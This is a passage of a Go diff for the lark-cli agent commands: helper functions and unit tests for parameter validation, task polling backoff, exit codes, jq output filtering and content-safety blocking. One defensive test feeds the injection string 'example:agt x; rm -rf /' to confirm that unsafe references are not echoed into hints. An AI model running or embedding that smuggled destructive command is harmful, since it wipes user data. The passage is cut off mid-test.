// otherwise.
func jqExpr(cmd *cobra.Command) string {
if cmd == nil { // options structs built directly in tests may carry no Cmd
return ""
}
if f := cmd.Flags().Lookup("jq"); f != nil {
return f.Value.String()
}
return ""
}
// capabilityError returns the unsupported_capability validation error (exit 2)
// used for capability gating: capHuman is the human-facing action (e.g.
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
// interpolates ref only when it passes the whitelist (cardHint).
func capabilityError(ref, capHuman, capKey string) error {
return errs.NewValidationError(
errs.SubtypeUnsupportedCapability,
"agent '%s' 不支持 '%s'capability %s=false", ref, capHuman, capKey,
).WithHint("%s", cardHint(ref, "支持的能力"))
}
// normalizeTask derives the redundant IsTerminal flag from State — the single
// source of truth — the moment a task enters the command layer, so a provider
// that forgets (or mis-fills) the flag can never skew watch exit codes or an
// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
if t != nil {
t.IsTerminal = t.State.IsTerminal()
}
return t
}
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
// single-source rule as normalizeTask), returning the slice for chaining.
func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
for i := range ts {
ts[i].IsTerminal = ts[i].State.IsTerminal()
}
return ts
}
// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
// task hits a stop condition (terminal, input_required, or auth_required)
// or ctx is done. A timeout is not a failure: it returns the most recent
// task with a nil error, letting the caller print the current state (exit 0). A
// provider GetTask error is surfaced. getTask is a bound closure over the
// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
// provider-neutral and testable.
func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagent.AgentTask, error), taskID string) (*iagent.AgentTask, error) {
const (
initialDelay = time.Second
maxDelay = 5 * time.Second
)
var last *iagent.AgentTask
delay := initialDelay
for {
task, err := getTask(ctx, taskID)
if err != nil {
return last, err
}
last = task
if task.State.ShouldStopPolling() {
return task, nil
}
if ctx.Err() != nil {
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
}
if !sleep(ctx, delay) {
// ctx canceled during backoff → observation window closed, not a
// task failure.
return last, nil
}
if delay < maxDelay {
if delay *= 2; delay > maxDelay {
delay = maxDelay
}
}
}
}
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
// a non-successful terminal state (failed/rejected/canceled) yields a
// silent exit-1 signal; any other state (including a successful terminal or a
// non-terminal stop like input_required) yields nil. A nil task yields nil.
func semanticExitError(task *iagent.AgentTask) error {
if task == nil || !task.IsTerminal {
return nil
}
switch task.State {
case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
return output.ErrBare(1)
default:
return nil
}
}

933
cmd/agent/common_test.go Normal file
View File

@@ -0,0 +1,933 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"errors"
"io"
"strings"
"testing"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
func TestValidateParamsAgainstCard(t *testing.T) {
// Card mixes a required and an optional param so both loop branches run:
// the optional param must be skipped (the `!p.Required continue` path) while
// the required one is still enforced.
card := &iagent.AgentCard{Parameters: []iagent.CardParam{
{Name: "app_id", Required: true},
{Name: "locale", Required: false},
}}
// missing required
if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
t.Error("missing required app_id should error")
}
// provide required, omit optional: the optional param is skipped and must not error
m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
if err != nil || m["app_id"] != "app_sales" {
t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
}
if _, ok := m["locale"]; ok {
t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
}
// invalid format
if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
t.Error("--param without = should error")
}
}
// TestParseParams_ValueWithEquals ensures values may themselves contain '='
// (only the first '=' splits key from value).
func TestParseParams_ValueWithEquals(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
if err != nil {
t.Fatalf("a value containing = should not error: %v", err)
}
if m["filter"] != "a=b" {
t.Fatalf("value should preserve =, got %q", m["filter"])
}
}
// TestParseParams_EmptyKey rejects an empty key (leading '=').
func TestParseParams_EmptyKey(t *testing.T) {
if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
t.Error("empty key should error")
}
}
// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
// card's Parameters is a validation error (subtype invalid_argument, param
// "param:<key>") whose hint points at `agent card`; a declared optional key
// still passes.
func TestParseParams_UnknownKeyRejected(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
if err != nil || m["foo"] != "1" {
t.Fatalf("a declared optional param should pass: %v %v", m, err)
}
_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
if err == nil {
t.Fatal("an undeclared --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "param:bar" {
t.Fatalf("param should be param:bar, got %+v", verr)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card example:agt_x") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
func TestParseParams_NilCard(t *testing.T) {
m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
if err != nil || m["k"] != "v" {
t.Fatalf("nil card should parse normally: %v %v", m, err)
}
}
// TestParseParams_MissingRequiredIsValidation confirms the missing-required
// error is a validation typed error with subtype invalid_argument, its param
// carries the param: prefix, and its hint points at agent card (Task 2 review
// leftover).
func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
if err == nil {
t.Fatal("missing required should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "param:app_id" {
t.Fatalf("param should be param:app_id, got %+v", verr)
}
if !strings.Contains(p.Hint, "agent card example:agt_x") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
// echoed into the hint command; the hint degrades to plain guidance instead.
func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
dirtyRef := "example:agt x; rm -rf /"
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
_, err := parseAndValidateParams([]string{}, card, dirtyRef)
if err == nil {
t.Fatal("missing required should error")
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, dirtyRef) {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
// the unknown-param path is handled the same way.
_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
if err == nil {
t.Fatal("an undeclared param should error")
}
p, _ = errs.ProblemOf(err)
if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
}
}
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
p, ok := errs.ProblemOf(err)
if !ok || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, "example:agt x") {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
}
// TestCapabilityError pins the unsupported_capability contract.
func TestCapabilityError(t *testing.T) {
err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
if err == nil {
t.Fatal("should return an error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
func TestSemanticExitError(t *testing.T) {
cases := []struct {
state iagent.TaskState
wantExit int
}{
{iagent.StateCompleted, output.ExitOK},
{iagent.StateFailed, 1},
{iagent.StateRejected, 1},
{iagent.StateCanceled, 1},
{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
{iagent.StateWorking, output.ExitOK},
}
for _, c := range cases {
task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
err := semanticExitError(task)
if got := output.ExitCodeOf(err); got != c.wantExit {
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
}
}
// nil task should not panic and is treated as success
if err := semanticExitError(nil); err != nil {
t.Errorf("nil task should return nil, got %v", err)
}
}
// fakePollProvider drives pollToStop through a scripted state sequence. getTask
// is the closure pollToStop takes (spec.GetTask bound to a runtime in
// production); calls/err stay observable on the struct after the poll.
type fakePollProvider struct {
states []iagent.TaskState
calls int
err error
}
func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
if f.err != nil {
return nil, f.err
}
i := f.calls
if i >= len(f.states) {
i = len(f.states) - 1
}
f.calls++
s := f.states[i]
return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
}
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
func TestPollToStop_ReachesTerminal(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagent.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
if p.calls < 3 {
t.Fatalf("should poll at least 3 times, got %d", p.calls)
}
}
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task.State != iagent.StateInputRequired {
t.Fatalf("should stop at input_required, got %s", task.State)
}
}
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
// current task with a nil error (exit 0), not a failure.
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
restore := swapSleep()
defer restore()
ctx, cancel := context.WithCancel(context.Background())
cancel() // expire immediately
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
task, err := pollToStop(ctx, p.getTask, "chat_1")
if err != nil {
t.Fatalf("timeout should not be treated as failure: %v", err)
}
if task == nil || task.State != iagent.StateWorking {
t.Fatalf("timeout should return the current task, got %+v", task)
}
}
// TestPollToStop_GetTaskError surfaces a provider error.
func TestPollToStop_GetTaskError(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
t.Fatal("a GetTask error should propagate")
}
}
// swapSleep replaces the package sleep with a no-op for fast tests.
func swapSleep() func() {
orig := sleep
sleep = func(context.Context, time.Duration) bool { return true }
return func() { sleep = orig }
}
// swapSleepCapture replaces the package sleep with a no-op that records every
// backoff duration it was asked to wait, so tests can assert the exponential /
// clamp schedule. It always returns true (full duration elapsed).
func swapSleepCapture(delays *[]time.Duration) func() {
orig := sleep
sleep = func(_ context.Context, d time.Duration) bool {
*delays = append(*delays, d)
return true
}
return func() { sleep = orig }
}
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
// (as if ctx were canceled during backoff) on the falseCall-th invocation
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
// branch in isolation without racing a real ctx timeout.
func swapSleepFalseAt(falseCall int) func() {
orig := sleep
n := 0
sleep = func(context.Context, time.Duration) bool {
n++
return n != falseCall
}
return func() { sleep = orig }
}
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
// captured schedule must never exceed maxDelay and must actually reach it.
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
var delays []time.Duration
restore := swapSleepCapture(&delays)
defer restore()
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
p := &fakePollProvider{states: []iagent.TaskState{
iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagent.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
if len(delays) != len(want) {
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
}
for i, d := range delays {
if d > 5*time.Second {
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
}
if d != want[i] {
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
}
}
}
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
// most recent task with a nil error (not a failure).
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
}
if task == nil || task.State != iagent.StateWorking {
t.Fatalf("should return the working task observed before interruption, got %+v", task)
}
if p.calls != 1 {
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
}
}
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
// returns its value; a command without the flag returns "".
func TestJqExpr(t *testing.T) {
withFlag := &cobra.Command{Use: "get"}
withFlag.Flags().String("jq", "", "")
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
t.Fatal(err)
}
if got := jqExpr(withFlag); got != ".state" {
t.Errorf("with a --jq flag it should return its value, got %q", got)
}
noFlag := &cobra.Command{Use: "list"}
if got := jqExpr(noFlag); got != "" {
t.Errorf("without a --jq flag it should return empty, got %q", got)
}
}
// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
// non-empty (required for content-safety scanning to engage) and optionally
// registers a --jq flag with the given value.
func newEmitCmd(name, jq string) *cobra.Command {
root := &cobra.Command{Use: "lark-cli"}
agentGroup := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: name}
root.AddCommand(agentGroup)
agentGroup.AddCommand(leaf)
if jq != "" {
leaf.Flags().String("jq", "", "")
_ = leaf.Flags().Set("jq", jq)
}
leaf.SetContext(context.Background())
return leaf
}
// emitFactory returns a Factory writing to fresh out/err buffers.
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
ResolvedIdentity: core.AsBot,
}
return f, out, errOut
}
// csProvider is a content-safety provider stub returning a fixed alert.
type csProvider struct{ alert *extcs.Alert }
func (p *csProvider) Name() string { return "test" }
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
return p.alert, nil
}
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
// lands on stdout with ok=true and the identity.
func TestEmitTask_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
if err := emitTask(f, cmd, task, next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
t.Errorf("meta.next should appear in the output: %s", out.String())
}
}
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
// inputs the branch can receive.
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
for _, tc := range []struct {
name string
next []output.NextAction
}{
{"nil next", nil},
{"empty non-nil next", []output.NextAction{}},
} {
t.Run(tc.name, func(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if env.Meta != nil {
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
}
if strings.Contains(out.String(), `"meta"`) {
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
}
})
}
}
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
func TestEmitTask_JqFilter(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("jq filtering should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq .data.state should output working, got %q", got)
}
}
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
func TestEmitTask_JqFilterError(t *testing.T) {
f, _, _ := emitFactory()
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
t.Fatal("a malformed jq expression should error")
}
}
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
// without blocking output.
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
// still filters stdout.
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, errOut := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn+jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq output should be working, got %q", got)
}
if !strings.Contains(errOut.String(), "content safety alert") {
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
}
}
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
// to stdout.
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
err := emitTask(f, cmd, task, nil, "json")
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
// which exercise the json path only.
func noPretty(io.Writer) {}
// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
// lands on stdout.
func TestScanAndEmitData_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if env.Meta == nil || env.Meta.Count != 1 {
t.Errorf("meta.count should be 1, got %+v", env.Meta)
}
}
// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
// emit helper now runs content-safety scanning (these payloads carry untrusted
// agent text): in block mode it returns the typed block error and writes
// nothing.
func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
// attached to the envelope without blocking output.
func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
// summaries carry untrusted agent text, so a block-mode content-safety hit
// aborts the emit with the typed block error and writes nothing (task list used
// to PrintJson directly and bypass scanning).
func TestTaskListContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := taskTestOpts(t, "list")
setScripted(t, scriptedHooks{listTasks: func(string) ([]iagent.TaskSummary, error) {
return []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"}}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentTaskListRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
// active_task.Summary is untrusted agent text.
func TestContextGetContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{
ContextID: ctxID, TaskCount: 1,
ActiveTask: &iagent.TaskSummary{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
err := agentContextGetRun(opts)
if err == nil || !errs.IsContentSafety(err) {
t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
}
if len(out.Bytes()) > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
}
}
// resolveCmd builds an `agent card` command carrying an `--as` flag. When
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
// the passed identity verbatim (needed to exercise the identity-check branch).
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: "card"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if asChanged {
if err := leaf.Flags().Set("as", asVal); err != nil {
t.Fatal(err)
}
}
leaf.SetContext(context.Background())
return leaf
}
// TestResolveSpec_Success resolves a valid example ref under an explicit bot
// identity and returns a non-nil spec offline (no client).
func TestResolveSpec_Success(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("a valid ref + bot should succeed: %v", err)
}
if spec == nil || spec.Send == nil {
t.Fatal("should return a non-nil spec with core hooks")
}
if prov.Scheme != "example" || agentID != "echo" {
t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
}
if id != core.AsBot {
t.Errorf("identity should be bot, got %s", id)
}
}
// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
// invalid_argument validation error (exit 2).
func TestResolveSpec_MalformedRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// A malformed ref teaches the <scheme>:<agent_id> shape.
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
}
}
// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
func TestResolveSpec_UnknownScheme(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
if err == nil {
